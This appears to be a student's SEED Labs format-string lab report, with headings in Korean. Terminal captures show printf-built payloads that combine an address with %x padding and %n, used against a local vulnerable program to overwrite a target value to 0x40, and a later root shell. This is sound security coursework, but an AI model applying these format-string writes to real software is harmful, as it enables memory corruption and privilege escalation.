

1. 0x40 이 출력되는 결과 사진

SEED Ubuntu20.04 [실행 중] - Oracle VM VirtualBox

파일 머신 보기 입력 잘치 도움말

Activities Terminal Nov 3 01:46

seed@VM: ~

Files [11/03/25] seed@VM:~\$./vul < input
Target address: 0xfffffd1d4
Data at target address: 0x11223344
Segmentation fault

[11/03/25] seed@VM:~\$ echo \$(printf "\xd4\xd1\xFF\xFF").%16x.%16x.%8x.%8x.%8x.%n > input

[11/03/25] seed@VM:~\$./vul < input
Target address: 0xfffffd1d4
Data at target address: 0x11223344
Please enter a string: 0000. 64. f7fb4580.5655621d.
0.11223344.
Data at target address: 0x42

[11/03/25] seed@VM:~\$ echo \$(printf "\xd4\xd1\xFF\xFF").%14x.%16x.%8x.%8x.%8x.%n > input

[11/03/25] seed@VM:~\$./vul < input
Target address: 0xfffffd1d4
Data at target address: 0x11223344
Please enter a string: 0000. 64. f7fb4580.5655621d.
0.11223344.

Data at target address: 0x40

[11/03/25] seed@VM:~\$

2. 루트 웰이 실행된 결과 사진

The value of the return address: 0xfffffd1f3

```
# id
uid=0(root) gid=1000(seed) groups=1000(seed),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),136(docker)
#
```